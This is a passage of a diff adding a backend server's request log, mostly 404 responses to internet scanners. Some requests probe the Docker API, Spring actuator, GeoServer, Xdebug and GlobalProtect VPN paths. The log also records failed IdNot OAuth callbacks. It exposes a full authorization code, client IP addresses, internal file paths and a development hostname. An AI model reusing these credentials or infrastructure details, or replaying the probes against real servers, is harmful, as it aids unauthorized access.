'/api/v1/idnot/state', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758673391383_4o1pvunib', + response: { + statusCode: 200 + } +} +❌ [ERROR] 2025-09-24T00:37:01.134Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758674221133_1zkmuickb', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T01:35:04.404Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:66.132.153.119', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758677704403_wg8281c1k', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T01:35:07.592Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:66.132.153.119', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' + }, + requestId: 'req_1758677707591_0tpwur9kw', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T01:35:11.152Z HTTP GET /security.txt - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:66.132.153.119', + method: 'GET', + url: '/security.txt', + userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' + }, + requestId: 'req_1758677711151_w77t2e1lk', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T01:49:19.938Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:192.159.99.162', + method: 'GET', + url: '/', + userAgent: 'Hello World' + }, + requestId: 'req_1758678559938_59hyjrtqr', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T01:52:00.371Z HTTP GET /containers/json - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:47.109.48.21', + method: 'GET', + url: '/containers/json', + userAgent: 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' + }, + requestId: 'req_1758678720370_oc545zvni', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T01:59:19.030Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758679159030_ffty96alt', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T02:05:05.528Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.135.193.100', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758679505527_hmcklebri', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T02:08:42.702Z HTTP GET /aaa9 - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:146.190.166.168', + method: 'GET', + url: '/aaa9', + userAgent: 'Mozilla/5.0 zgrab/0.x' + }, + requestId: 'req_1758679722701_yfjz2jwvr', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T02:08:45.529Z HTTP GET /aab8 - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:146.190.166.168', + method: 'GET', + url: '/aab8', + userAgent: 'Mozilla/5.0 zgrab/0.x' + }, + requestId: 'req_1758679725528_cwgshke5v', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T02:08:48.595Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:146.190.166.168', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 zgrab/0.x' + }, + requestId: 'req_1758679728594_hnxawxb2c', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '3.134.148.59', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-24T02:45:59.491Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' + }, + requestId: 'req_1758681959490_1o2my643u' +} +❌ [ERROR] 2025-09-24T02:45:59.492Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' + }, + requestId: 'req_1758681959490_1o2my643u', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-24T02:59:40.008Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:192.159.99.180', + method: 'GET', + url: '/', + userAgent: 'Hello World' + }, + requestId: 'req_1758682780007_dkdnbw4fa', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T03:13:26.697Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758683606697_ug5berjzi', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T03:16:44.034Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:64.62.197.212', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15' + }, + requestId: 'req_1758683804034_ps0rq6szr', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T03:17:29.178Z HTTP GET /favicon.ico - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:64.62.197.221', + method: 'GET', + url: '/favicon.ico', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41' + }, + requestId: 'req_1758683849177_1n5kqvz05', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T03:17:41.683Z HTTP GET http://api.ipify.org/?format=json - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:64.62.197.217', + method: 'GET', + url: 'http://api.ipify.org/?format=json', + userAgent: 'Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0' + }, + requestId: 'req_1758683861683_8h7f88xsx', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T03:18:02.872Z HTTP GET /geoserver/web/ - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:64.62.197.212', + method: 'GET', + url: '/geoserver/web/', + userAgent: 'Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0' + }, + requestId: 'req_1758683882871_ap5rp2owj', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T03:29:41.854Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.135.193.100', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758684581853_ofbcw6dyg', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T03:56:17.922Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:89.248.173.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0' + }, + requestId: 'req_1758686177921_fyok9nb8x', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T04:26:12.085Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:198.235.24.166', + method: 'GET', + url: '/', + userAgent: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity' + }, + requestId: 'req_1758687972085_p8rq0fm2d', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T04:35:06.750Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758688506749_cq6c8xo7z', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T04:50:08.550Z HTTP GET /?XDEBUG_SESSION_START=phpstorm - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:79.124.58.198', + method: 'GET', + url: '/?XDEBUG_SESSION_START=phpstorm', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36' + }, + requestId: 'req_1758689408550_4k3lfd48e', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T05:18:17.212Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:94.102.49.193', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' + }, + requestId: 'req_1758691097211_evucpo9af', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T05:18:17.614Z HTTP GET /Synchronization - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:194.165.16.71', + method: 'GET', + url: '/Synchronization', + userAgent: 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36' + }, + requestId: 'req_1758691097613_92bv1u3cn', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T05:18:17.908Z HTTP GET /favicon.ico - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:94.102.49.193', + method: 'GET', + url: '/favicon.ico', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36' + }, + requestId: 'req_1758691097907_s9ugl8rjz', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T05:18:20.524Z HTTP GET /global-protect/portal/images/337ZRZJ7QMzVKxRMS69rkFFKNMF.txt - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:194.165.16.71', + method: 'GET', + url: '/global-protect/portal/images/337ZRZJ7QMzVKxRMS69rkFFKNMF.txt', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1' + }, + requestId: 'req_1758691100523_0a8anvehf', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T05:18:20.595Z HTTP POST /ssl-vpn/hipreport.esp - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:194.165.16.71', + method: 'POST', + url: '/ssl-vpn/hipreport.esp', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAF' + }, + requestId: 'req_1758691100594_jgdg08tsf', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T05:18:20.667Z HTTP GET /global-protect/portal/images/337ZRZJ7QMzVKxRMS69rkFFKNMF.txt - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:194.165.16.71', + method: 'GET', + url: '/global-protect/portal/images/337ZRZJ7QMzVKxRMS69rkFFKNMF.txt', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15' + }, + requestId: 'req_1758691100666_42j63uhcb', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T05:25:48.193Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.135.193.100', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758691548193_6pbd2yw4k', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T05:30:33.895Z HTTP GET /actuator/gateway/routes - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:79.124.58.198', + method: 'GET', + url: '/actuator/gateway/routes', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36' + }, + requestId: 'req_1758691833894_r04erovsy', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '37.167.54.180', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-24T05:34:07.497Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758692047496_vak5rh1vz' +} +❌ [ERROR] 2025-09-24T05:34:07.497Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758692047496_vak5rh1vz', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-24T05:57:09.221Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758693429220_xw7bgj9vb', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T06:07:12.406Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:20.64.105.152', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 zgrab/0.x' + }, + requestId: 'req_1758694032405_dmir7w6bn', + response: { + statusCode: 404 + } +} +ℹ️ [INFO] 2025-09-24T06:38:45.315Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758695925313_1fn2ukajj', + response: { + statusCode: 200 + } +} +❌ [ERROR] 2025-09-24T07:08:04.953Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758697684953_uttbob2g5', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T07:09:51.934Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:185.247.137.226', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)' + }, + requestId: 'req_1758697791933_fmv9sf1lr', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T07:20:32.235Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.135.193.100', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758698432234_s7ma20vtz', + response: { + statusCode: 404 + } +} +ℹ️ [INFO] 2025-09-24T07:56:25.044Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 33, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758700584997_3e887tqnw', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-24T07:56:37.062Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758700597055_62p0wcdp4', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-24T07:58:27.904Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758700707902_yoymeaswn', + response: { + statusCode: 200 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '37.167.54.180', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-24T08:08:53.808Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758701333805_dltij4rwx' +} +❌ [ERROR] 2025-09-24T08:08:53.809Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 3, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758701333805_dltij4rwx', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-24T08:11:56.262Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:65.144.169.45', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36' + }, + requestId: 'req_1758701516261_byklxktjh', + response: { + statusCode: 404 + } +} +ℹ️ [INFO] 2025-09-24T08:13:04.683Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758701584682_bt05k7lwj', + response: { + statusCode: 200 + } +} +❌ [ERROR] 